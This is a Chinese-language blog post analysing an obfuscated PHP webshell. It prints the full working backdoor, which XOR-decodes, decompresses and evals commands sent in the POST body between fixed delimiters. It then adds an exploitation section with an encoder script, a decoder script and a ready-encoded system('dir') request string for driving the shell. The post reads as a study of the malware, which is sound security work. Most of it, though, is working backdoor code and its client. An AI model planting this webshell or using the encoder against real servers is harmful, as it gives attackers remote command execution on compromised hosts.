一次混淆webshell分析


1. webshell 混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$k="161ebd7d";$kh="45089b3446ee";$kf="4e0d86dbcf92";$p="lFDu8RwONqmag5ex";

function x($t,$k){
# $t 是base64解码后的内容
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
/*
循环的大致意思是我们采用 无论是输入的$t,还是自定义的$k。无论谁比谁长还是短。用户输入的$t必须要遍历完,如果$k不够那就从头开始。
*/
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
/*
ob_start(): 该函数开启输出缓冲。默认情况下,PHP 会将所有输出直接发送到浏览器。但当开启输出缓冲后,PHP 会将输出存储在内存中,而不是立刻发送到浏览器。只有在缓冲区被清空或者脚本执行结束时,输出才会被发送给浏览器。
*/
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
# gzuncompress 是一种解压缩函数
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}

唯一一个无法确定的就是preg_match中的$m变量。一般来讲,这就是保存捕获的字符串。

  • $m 是一个数组变量,用来存储正则表达式的匹配结果。如果匹配成功,preg_match 会将匹配的结果存入 $m 中, $m[0] 会包含完整匹配的内容,而 $m[1] 会包含第一个捕获组(即 (.+) 匹配的内容)。

image.png

2. 分析

经过针对混淆的代码进行分析,首先利用input伪协议,将数据post方式传递上来。同时利用异或函数生成payload。   @eval (@gzuncompress(@x(@base64_decode($m[1]), $k))); 但是注意给的payload都是压缩过的。因此在异或完毕后需要解压。同时针对于输出其实就看出来了,开始给的数据是如何压缩加密的。

3. 利用

由此我们可以看到我们只需要在post数据中传递对应的数据,只要让他正则匹配到就可以。主要是我们的数据一定要严格按照输出格式进行输入。

1
$r=@base64_encode(@x(@gzcompress($o),$k));
3.1 测试 payload

system(‘dir’);

加密.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";

function x($t, $k)
{
# $t 是base64解码后的内容
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l; ) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
/*
循环的大致意思是我们采用 无论是输入的$t,还是自定义的$k。无论谁比谁长还是短。用户输入的$t必须要遍历完,如果$k不够那就从头开始。
*/
return $o;
}


# echo @gzuncompress(@x(@base64_decode($_POST['r']), $k));
$o = "system('dir');";
$r = @base64_encode(@x(@gzcompress($o), $k));
echo $r;
?>

Saoay05KfqnkZn6sTjbg0Dc2GUFm2w==

45089b3446ee

4e0d86dbcf92

45089b3446eeSaoay05KfqnkZn6sTjbg0Dc2GUFm2w==4e0d86dbcf92

解密.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<?php
$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";

function x($t, $k)
{
# $t 是base64解码后的内容
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l; ) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
/*
循环的大致意思是我们采用 无论是输入的$t,还是自定义的$k。无论谁比谁长还是短。用户输入的$t必须要遍历完,如果$k不够那就从头开始。
*/
return $o;
}


echo @gzuncompress(@x(@base64_decode($_POST['r']), $k));
// $o = "system('dir');";
// $r = @base64_encode(@x(@gzcompress($o), $k));
// echo $r;
?>

image.png


文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录